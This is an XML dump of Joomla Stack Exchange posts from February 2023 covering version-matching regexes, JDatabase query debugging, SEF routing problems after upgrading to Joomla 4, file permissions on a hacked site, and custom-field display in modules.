  <row Id="32781" PostTypeId="2" ParentId="32778" CreationDate="2023-02-10T01:04:26.377" Score="2" Body="&lt;p&gt;Well, I guess it kind of depends how far you want to pre-emptively include versions in your pattern:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;4.2 only:    &lt;code&gt;^4\.2\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.3:  &lt;code&gt;^4\.[23]\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.4:  &lt;code&gt;^4\.[2-4]\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.5:  &lt;code&gt;^4\.[2-5]\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.6:  &lt;code&gt;^4\.[2-6]\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.7:  &lt;code&gt;^4\.[2-7]\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.8:  &lt;code&gt;^4\.[2-8]\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.9:  &lt;code&gt;^4\.[2-9]\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.10: &lt;code&gt;^4\.([2-9]|10)\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 to 4.11: &lt;code&gt;^4\.([2-9]|1[01])\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;4.2 or higher in 4: &lt;code&gt;^4\.([2-9]|[1-9]\d+)\b&lt;/code&gt; ...yes, &lt;a href=&quot;https://regex101.com/r/5g1yKb/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;this ridiculously matches version 4.347&lt;/a&gt; and beyond&lt;/li&gt;&#xA;&lt;li&gt;4.2 through 5:    &lt;code&gt;^(5|4\.([2-9]|[1-9]\d+))\b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The important thing to note is that these patterns are matching only the front portion of the version string.  If there are addition trailing characters, they are deemed unimportant. In other words, &lt;code&gt;4.6.3&lt;/code&gt; will be matched by a pattern that allows &lt;code&gt;4.6&lt;/code&gt;; the trailing &lt;code&gt;.3&lt;/code&gt; is irrelevant to the logic.&lt;/p&gt;&#xA;&lt;p&gt;The use of the word boundary (&lt;code&gt;\b&lt;/code&gt;) could have been replaced with &lt;code&gt;(?!\d)&lt;/code&gt; to ensure that the next character is not a digit -- but I prefer the brevity of &lt;code&gt;\b&lt;/code&gt;.  In all of my patterns, the character before the &lt;code&gt;\b&lt;/code&gt; is a digit (considered a &amp;quot;word&amp;quot; according to &lt;code&gt;\w&lt;/code&gt;), then the &amp;quot;word boundary&amp;quot; character insists that if there is a next character, it must be a &amp;quot;non-word&amp;quot; (something that matches &lt;code&gt;\W&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Please see &lt;a href=&quot;https://joomla.stackexchange.com/a/31455/12352&quot;&gt;my earlier post&lt;/a&gt; for the explanation of some of the subpatterns.&lt;/p&gt;&#xA;&lt;p&gt;p.s. As a note on @Dmitrijs's spitballed pattern of &lt;code&gt;4.[2|3]&lt;/code&gt;, it is important to note that &lt;code&gt;.&lt;/code&gt; represents a wildcard to the regex engine and will be satisfied by any non-newline character.  Also, the square braced expression is called a &amp;quot;character class&amp;quot; -- it holds a list of all allowed characters.  A character class does not respect the pipe character to mean &amp;quot;or&amp;quot; -- it will be literally interpreted as a pipe symbol.  So as a worse case demonstration, &lt;code&gt;4.[2|3]&lt;/code&gt; will happily match &lt;code&gt;4&amp;amp;|&lt;/code&gt; ...which is not intended.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2023-02-10T02:56:13.790" LastActivityDate="2023-02-10T02:56:13.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32783" PostTypeId="1" AcceptedAnswerId="32821" CreationDate="2023-02-10T11:49:24.317" Score="1" ViewCount="77" Body="&lt;p&gt;In a category blog override I am attempting to reflect the featured status of an article. In order to find out whether it is currently actively featured - i.e. not 'pending' or 'expired' I am querying the #__content_frontpage table where this information is held in the 'featured_up' and 'featured_down' columns. My intention is to use the two answers to create PHP if statements based on the dates and apply CSS accordingly.&lt;/p&gt;&#xA;&lt;p&gt;In my blog_item.php override I have added this variable:&#xA;&lt;code&gt;$articleId = $this-&amp;gt;item-&amp;gt;id;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, attempting to follow the instructions on the 'Selecting_data_using_JDatabase' page in Joomla docs, I have added this code firstly for the 'featured_up' field/column:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;('f.featured_up'));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__content_frontpage', 'f'));&#xA;$query-&amp;gt;leftJoin('INNER' $db-&amp;gt;quoteName('#__content', 'c') . ' ON ' . $db-&amp;gt;quoteName('c.id') . ' = ' . $db-&amp;gt;quoteName('f.content_id'));&#xA;$query-&amp;gt;where quoteName($articleId) . ' LIKE ' . $db-&amp;gt;quoteName('f.content_id');&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then attempted to define a new variable like this:&#xA;&lt;code&gt;$up = $result;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But, with or without that last line of code I'm just getting a white page.&lt;/p&gt;&#xA;&lt;p&gt;I tried again without the join:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;('f.featured_up'));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__content_frontpage', 'f'));&#xA;$query-&amp;gt;where quoteName($articleId) . ' = ' . $db-&amp;gt;quoteName('f.content_id');&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Still no luck. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2023-02-27T23:32:45.570" Title="How do I create a new PHP variable for a blog override from the result of JDatabase join query?" Tags="|php|jdatabase|variable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32784" PostTypeId="2" ParentId="32783" CreationDate="2023-02-10T13:06:18.847" Score="3" Body="&lt;p&gt;Your code contains a few errors, which is why you're getting a white page.&lt;/p&gt;&#xA;&lt;p&gt;1)&#xA;&lt;code&gt;$db-&amp;gt;('f.featured_up')&lt;/code&gt; needs to be replaced with &lt;code&gt;$db-&amp;gt;quoteName('f.featured_up')&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;2)&#xA;You're missing a comma (&lt;code&gt;,&lt;/code&gt;) after &lt;code&gt;leftJoin('INNER'&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;3)&#xA;Your WHERE clause is completely broken. Try this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$query-&amp;gt;where($db-&amp;gt;quoteName($articleId) . ' = ' . $db-&amp;gt;quoteName('f.content_id'));&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;In your Joomla Global Configuration, enabling error reporting will show you any PHP errors that may arrise from your code.&lt;/p&gt;&#xA;&lt;p&gt;Might also be worth taking a look at the &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla documentation for database queries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2023-02-10T13:06:18.847" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32785" PostTypeId="2" ParentId="32777" CreationDate="2023-02-14T21:59:29.470" Score="0" Body="&lt;p&gt;You can change the permissions on the template files and directories using the hosting administration panel(eg. cPanel, VirtualMin,Plesk,etc.) via their respective file manager tool. You would probably need to change the first value to a 6 from a 7 limit write access but depending on the requirements of the file or folder that may cause other issues on your site with updates etc.&lt;/p&gt;&#xA;&lt;p&gt;However that is only addressing the symptoms, files being changed, and not the cause of your problem, how are hackers able to get into your site to make the changes.&lt;/p&gt;&#xA;&lt;p&gt;If a Hacker(s) is able to change a file or two then they can probably change the permissions as suggested above and still make their changes.&lt;/p&gt;&#xA;&lt;p&gt;You need to find how they are able to access your website or hosting environment, remove them and put in place measures to prevent them access it again.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-02-14T21:59:29.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32786" PostTypeId="1" CreationDate="2023-02-16T17:21:51.817" Score="1" ViewCount="305" Body="&lt;p&gt;We upgraded from Joomla 3 to Joomla 4 and since upgrading have found that many (almost all) links on the site are broken.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example of a broken link:&#xA;&lt;a href=&quot;https://guildofenamellers.org/index.php/92-journal2021/1196-desert-island-enamels-sally-davis&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://guildofenamellers.org/index.php/92-journal2021/1196-desert-island-enamels-sally-davis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?f=808&amp;amp;t=999829&quot; rel=&quot;nofollow noreferrer&quot;&gt;I have asked the same question on the Joomla forum&lt;/a&gt;, I have checked the SEF settings following suggestions from that question. I have set up a test site from a back up of the old J3 site so that I can compare what happens between J3 and J4.&lt;/p&gt;&#xA;&lt;p&gt;All I can see using the debugger is that Joomla 4 is not able to parse this string as a valid path:&amp;quot;92-journal2021/1196-desert-island-enamels-sally-davis&amp;quot; and throws an exception.&lt;/p&gt;&#xA;&lt;p&gt;I am using the purity iii/T3 template but have tried uninstalling and switching to Cassiopea - this makes no difference. There are no routing overrides under templates/purity_iii/html.&lt;/p&gt;&#xA;&lt;p&gt;This must be something simple - it's so basic. If anyone has any idea on how to debug it please let me know.&lt;/p&gt;&#xA;" OwnerUserId="16904" LastEditorUserId="120" LastEditDate="2023-02-16T21:46:22.080" LastActivityDate="2024-03-13T01:00:55.103" Title="Joomla 4 SEF URLs broken since upgrade" Tags="|joomla-4.x|url|sef|upgrade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32787" PostTypeId="2" ParentId="32786" CreationDate="2023-02-16T21:51:15.373" Score="0" Body="&lt;p&gt;I suggest checking that the article categories have all been migrated properly and are still published.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2023-02-16T21:51:15.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32788" PostTypeId="2" ParentId="32786" CreationDate="2023-02-16T22:44:18.533" Score="0" Body="&lt;p&gt;I think your issue is not related to SEF as such but with the change between the Legacy and the Modern routing used in Joomla3 and Joomla4. I have found under Joomla 4 if you have any digit at the beginning of an article or a category then you run into a '404 Not found' message.&lt;/p&gt;&#xA;&lt;p&gt;For example if your Journal article was called &amp;quot;2020- The Guild of Enamellers Journal&amp;quot; the 2020 at the beginning would also break links. I am not an expert by any stretch in regards to the Modern routing, still trying to get my head around it all but here are some things you can play with that might help lead you to the solution.&lt;/p&gt;&#xA;&lt;p&gt;In the Joomla 3 site you have set up for comparison, go into the Artcile Options/Configuration  and look at the Integration tab. I think if you will probably have Routing set to Legacy and if you change it to Modern you will probably see the same issue on your Joomla 3 site.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RgdL6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RgdL6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4 you have no choice you are using the Modern routing, however under the same Integration tab of Articles you have a routing option to remove the ID, the record number, from the URL. It defaults to Yes, but I suspect if you change it to No then your existing links might work.&lt;a href=&quot;https://i.stack.imgur.com/Bpawv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bpawv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If this works for you, then long term you probably should go with Remove ID equal to Yes, however you may need to review the links in each of your Journal articles to also remove the ID and over time the links in Google will sort themselves out.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-02-16T22:44:18.533" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32789" PostTypeId="1" AcceptedAnswerId="32845" CreationDate="2023-02-17T14:14:56.893" Score="1" ViewCount="134" Body="&lt;p&gt;Recently migrated a J3 site to J4.2.8&lt;/p&gt;&#xA;&lt;p&gt;I had to uninstall a lot of plugins before the migration, and a few after, but everything appears to be working apart from one thing.&lt;/p&gt;&#xA;&lt;p&gt;In the Joomla admin area, wherever I open a module and click 'save' or 'save and close', the following error message is displayed;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to undefined method&#xA;Joomla\CMS\Application\AdministratorApplication::isSite()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have set my error reporting to maximum, no additional errors.&lt;/p&gt;&#xA;&lt;p&gt;I have also set logging to 'everything', when I check administrator/logs/everything.php I see the following;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#Software: Joomla! 4.2.8 Stable [ Uaminifu ] 16-February-2023 15:00 GMT&#xA;&#xA;#Fields: datetime   priority clientip   category    message&#xA;2023-02-17T14:03:57+00:00   CRITICAL ::1    error   Uncaught Throwable of type Error thrown with message &amp;quot;Call to undefined method Joomla\CMS\Application\AdministratorApplication::isSite()&amp;quot;. Stack trace: #0 [ROOT]\libraries\src\Plugin\CMSPlugin.php(279): plgSystemNRFramework-&amp;gt;onExtensionAfterSave('com_modules.mod...', Object(Joomla\CMS\Table\Module), false)&#xA;#1 [ROOT]\libraries\vendor\joomla\event\src\Dispatcher.php(486): Joomla\CMS\Plugin\CMSPlugin-&amp;gt;Joomla\CMS\Plugin\{closure}(Object(Joomla\Event\Event))&#xA;#2 [ROOT]\libraries\src\Application\EventAware.php(107): Joomla\Event\Dispatcher-&amp;gt;dispatch('onExtensionAfte...', Object(Joomla\Event\Event))&#xA;#3 [ROOT]\administrator\components\com_modules\src\Model\ModuleModel.php(1029): Joomla\CMS\Application\WebApplication-&amp;gt;triggerEvent('onExtensionAfte...', Array)&#xA;#4 [ROOT]\libraries\src\MVC\Controller\FormController.php(676): Joomla\Component\Modules\Administrator\Model\ModuleModel-&amp;gt;save(Array)&#xA;#5 [ROOT]\administrator\components\com_modules\src\Controller\ModuleController.php(241): Joomla\CMS\MVC\Controller\FormController-&amp;gt;save('id', 'id')&#xA;#6 [ROOT]\libraries\src\MVC\Controller\BaseController.php(672): Joomla\Component\Modules\Administrator\Controller\ModuleController-&amp;gt;save()&#xA;#7 [ROOT]\libraries\src\Dispatcher\ComponentDispatcher.php(143): Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute('apply')&#xA;#8 [ROOT]\libraries\src\Component\ComponentHelper.php(355): Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()&#xA;#9 [ROOT]\libraries\src\Application\AdministratorApplication.php(143): Joomla\CMS\Component\ComponentHelper::renderComponent('com_modules')&#xA;#10 [ROOT]\libraries\src\Application\AdministratorApplication.php(186): Joomla\CMS\Application\AdministratorApplication-&amp;gt;dispatch()&#xA;#11 [ROOT]\libraries\src\Application\CMSApplication.php(294): Joomla\CMS\Application\AdministratorApplication-&amp;gt;doExecute()&#xA;#12 [ROOT]\administrator\includes\app.php(61): Joomla\CMS\Application\CMSApplication-&amp;gt;execute()&#xA;#13 [ROOT]\administrator\index.php(32): require_once('C:\\xampp\\htdocs...')&#xA;#14 {main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the stack when I enable debug.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#   Function    Location&#xA;1   ()  JROOT\plugins\system\nrframework\nrframework.php:68&#xA;2   plgSystemNRFramework-&amp;gt;onExtensionAfterSave()    JROOT\libraries\src\Plugin\CMSPlugin.php:279&#xA;3   Joomla\CMS\Plugin\CMSPlugin-&amp;gt;Joomla\CMS\Plugin\{closure}()  JROOT\libraries\vendor\joomla\event\src\Dispatcher.php:486&#xA;4   Joomla\Event\Dispatcher-&amp;gt;dispatch() JROOT\libraries\src\Application\EventAware.php:107&#xA;5   Joomla\CMS\Application\WebApplication-&amp;gt;triggerEvent()   JROOT\administrator\components\com_modules\src\Model\ModuleModel.php:1029&#xA;6   Joomla\Component\Modules\Administrator\Model\ModuleModel-&amp;gt;save()    JROOT\libraries\src\MVC\Controller\FormController.php:676&#xA;7   Joomla\CMS\MVC\Controller\FormController-&amp;gt;save()    JROOT\administrator\components\com_modules\src\Controller\ModuleController.php:241&#xA;8   Joomla\Component\Modules\Administrator\Controller\ModuleController-&amp;gt;save()  JROOT\libraries\src\MVC\Controller\BaseController.php:672&#xA;9   Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute() JROOT\libraries\src\Dispatcher\ComponentDispatcher.php:143&#xA;10  Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()   JROOT\libraries\src\Component\ComponentHelper.php:355&#xA;11  Joomla\CMS\Component\ComponentHelper::renderComponent() JROOT\libraries\src\Application\AdministratorApplication.php:143&#xA;12  Joomla\CMS\Application\AdministratorApplication-&amp;gt;dispatch() JROOT\libraries\src\Application\AdministratorApplication.php:186&#xA;13  Joomla\CMS\Application\AdministratorApplication-&amp;gt;doExecute()    JROOT\libraries\src\Application\CMSApplication.php:294&#xA;14  Joomla\CMS\Application\CMSApplication-&amp;gt;execute()    JROOT\administrator\includes\app.php:61&#xA;15  require_once()  JROOT\administrator\index.php:32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have Advanced Mod Manager and Advanced Template Manager installed but they're both disabled.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2023-02-17T16:41:14.647" LastActivityDate="2023-03-06T13:12:47.957" Title="Error When Saving Modules After J3 - J4 Migration" Tags="|joomla-4.x|error-handling|logs|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32790" PostTypeId="2" ParentId="32548" CreationDate="2023-02-19T15:04:13.267" Score="2" Body="&lt;p&gt;I was having the same problem! I struggled a whole day with why this error comes up; even a namespace path like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src/&amp;quot;&amp;gt;TestComp\Component\Testcomponent&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;has been given in the manifest file.&lt;/p&gt;&#xA;&lt;p&gt;After reverse engineering Joomla's 'hello world' example @ &lt;a href=&quot;https://docs.joomla.org/J4.x:Developing_an_MVC_Component/Developing_a_Basic_Component#helloworld.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Developing_an_MVC_Component/Developing_a_Basic_Component#helloworld.xml&lt;/a&gt;, I found a very interesting part which seems to be responsible for this error in my case.&lt;/p&gt;&#xA;&lt;p&gt;In the manifest file, there is the tag field &lt;code&gt;&amp;lt;name&amp;gt;&amp;lt;/name&amp;gt;&lt;/code&gt;. Usually, I thought here we could free define a name for our component, because there is not much info in the documentation. In the past, very often the raw name of the component has been typed here, eg &lt;code&gt;&amp;lt;name&amp;gt;com_helloworld&amp;lt;/name&amp;gt;&lt;/code&gt;. In the documentation from Joomla, you see that normal names can also be given. In this example it is &lt;code&gt;&amp;lt;name&amp;gt;Hello World&amp;lt;/name&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;And here comes the important point, if the name does not match the component name then you will encounter the error: 'Invalid Controller class: display'. Debugging showed me, that the responsible controller file will not be loaded. In my example I developed a component with the name 'com_testdev'. In the field of the manifest I typed &lt;code&gt;&amp;lt;name&amp;gt;Test Development&amp;lt;/name&amp;gt;&lt;/code&gt;. With this name the mentioned error comes up. Changing the the field to &lt;code&gt;&amp;lt;name&amp;gt;Test Dev&amp;lt;/name&amp;gt;&lt;/code&gt; resolved the problem!&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="12352" LastEditDate="2023-02-19T22:01:30.640" LastActivityDate="2023-02-19T22:01:30.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32791" PostTypeId="1" CreationDate="2023-02-20T11:20:02.800" Score="0" ViewCount="41" Body="&lt;p&gt;How to add tags in the template of mod_tags_similar? I add custom fields and other data by this code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('core_content_id', 'core_content_item_id', 'core_images', 'core_title', 'core_alias', 'core_created_time', 'core_catid')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__ucm_content'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('core_content_id') . ' IN (' . implode(',', array_column($list, 'core_content_id')) . ')');&#xA;&#xA;$extraData = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList('core_content_id');&#xA;$ItemDataArray = json_decode(json_encode($extraData), true);&#xA;&#xA;JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_fields/models', 'FieldsModel');&#xA;$field = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;&amp;lt;?php foreach ($ItemDataArray as $ItemData) : ?&amp;gt;&#xA;&amp;lt;?php&#xA;   echo $field-&amp;gt;getFieldValue(29, $ItemData['core_content_item_id']),true;&#xA;?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Maybe there is a way to add tags in this way?&lt;/p&gt;&#xA;" OwnerUserId="14429" LastActivityDate="2023-02-20T11:20:02.800" Title="Joomla 4: how to add tags in the template of mod_tags_similar?" Tags="|joomla-4.x|tags|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32792" PostTypeId="1" CreationDate="2023-02-20T12:38:39.877" Score="0" ViewCount="341" Body="&lt;p&gt;Im using Joomla 4. And for some reasons I need to publish my articles with joomla 4 custom html module that shows specific custom fields of current article.&#xA;I have changed mod_custom's default.php file like this but coldn't get the value of &amp;quot;engine-1&amp;quot; custom field. I will be so happy if someone could help about it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Uri\Uri;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\WebAsset\WebAssetManager;&#xA;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;$active = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;// Get the custom field values&#xA;&#xA;$fields = FieldsHelper::getFields('com_menus.item', $active, true);&#xA;$active-&amp;gt;arbitrary_property_name = array();&#xA;foreach ($fields as $field) {&#xA;    $active-&amp;gt;arbitrary_property_name[$field-&amp;gt;name] = $field-&amp;gt;value;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;// Output the value of the custom field if it exists&#xA;if (isset($active-&amp;gt;arbitrary_property_name['engine-1'])) {&#xA;    echo &amp;quot;&amp;lt;h1&amp;gt;&amp;quot; . $active-&amp;gt;arbitrary_property_name['engine-1'] . &amp;quot;&amp;lt;/h1&amp;gt;&amp;quot;;&#xA;} else {&#xA;    echo &amp;quot;&amp;lt;p&amp;gt;Custom field 'engine-1' is not defined or does not exist in the current menu item.&amp;lt;/p&amp;gt;&amp;quot;;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13315" LastEditorUserId="13315" LastEditDate="2023-02-20T13:56:14.377" LastActivityDate="2024-03-17T16:04:15.480" Title="Display current article's specific custom field in module" Tags="|php|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32794" PostTypeId="2" ParentId="32792" CreationDate="2023-02-21T13:44:26.120" Score="0" Body="&lt;p&gt;I got the hint from here&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/32242/custom-fields-inside-articles-news-module-in-joomla-4&quot;&gt;Custom Fields inside Articles News Module in Joomla 4&lt;/a&gt;&#xA;And made my own module from mod_article_news.&lt;/p&gt;&#xA;&lt;p&gt;Just kept the codes I need and deleted rest. Than added custom filed part from the topic above like this.&lt;/p&gt;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\Component\Content\Site\Model\ArticleModel;&#xA;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&#xA;$jinput = Factory::getApplication()-&amp;gt;input;&#xA;$id = $jinput-&amp;gt;getInt('id');&#xA;&#xA;$model = Factory::getApplication()-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory()-&amp;gt;createModel('Article', 'Site');&#xA;$article = $model-&amp;gt;getItem($id);&#xA;&#xA;if (!$article) {&#xA;    return;&#xA;}&#xA;$fields = FieldsHelper::getFields('com_content.article', $article, true);&#xA;$article-&amp;gt;arbitrary_property_name = array();&#xA;foreach ($fields as $field) {&#xA;    $article-&amp;gt;arbitrary_property_name[$field-&amp;gt;name] = $field-&amp;gt;value;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $article-&amp;gt;arbitrary_property_name['engine-1']; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;ArticlesNewsHelper.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Joomla\Module\ArticlesNews\Site\Helper;&#xA;&#xA;use Joomla\CMS\Access\Access;&#xA;use Joomla\CMS\Application\SiteApplication;&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\Uri\Uri;&#xA;use Joomla\Component\Content\Site\Helper\RouteHelper;&#xA;use Joomla\Database\DatabaseAwareInterface;&#xA;use Joomla\Database\DatabaseAwareTrait;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;class ArticlesNewsHelper implements DatabaseAwareInterface&#xA;{&#xA;    use DatabaseAwareTrait;&#xA;&#xA;&#xA;    public function getArticles(Registry $params, SiteApplication $app)&#xA;    {&#xA;        return [];&#xA;    }&#xA;&#xA;    public static function getList(&amp;amp;$params)&#xA;    {&#xA;        return [];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't have php knowledge. Thats why I made it on my own way.&lt;/p&gt;&#xA;" OwnerUserId="13315" LastEditorUserId="13315" LastEditDate="2023-02-21T13:52:33.280" LastActivityDate="2023-02-21T13:52:33.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32795" PostTypeId="1" CreationDate="2023-02-21T14:23:30.293" Score="1" ViewCount="45" Body="&lt;p&gt;I've a problem in the back end for Joomla. I am moving my web site to a new server; it's not ready to go live yet. The problem happens all over the place not just in Article manager but here's an example.&lt;/p&gt;&#xA;&lt;p&gt;I list articles in Article Manager. I hover over the title one of the articles and it reads:&lt;/p&gt;&#xA;&lt;p&gt;http://{ip address}/plesk-site-preview/test.{site}.org.uk/http/{ip address}/administrator/index.php?option=com_content&amp;amp;task=article.edit&amp;amp;id=1551&lt;/p&gt;&#xA;&lt;p&gt;I then click on the title. It should open up the article for editing but instead returns a 404 error. The URL it was attempting to execute reads:&lt;/p&gt;&#xA;&lt;p&gt;http://{ip address}/administrator/index.php?option=com_content&amp;amp;view=article&amp;amp;layout=edit&amp;amp;id=1551&lt;/p&gt;&#xA;&lt;p&gt;So it's dropping part of the URL reviled when I hover over the link.&lt;/p&gt;&#xA;&lt;p&gt;I haven't changed any SEF settings. I don't get this behaviour on the old web site or on my localhost as there the URLs are identical.&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts please?&lt;/p&gt;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="16915" LastActivityDate="2023-02-21T14:23:30.293" Title="404 errors in Joomla backend" Tags="|joomla-3.x|administrator|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
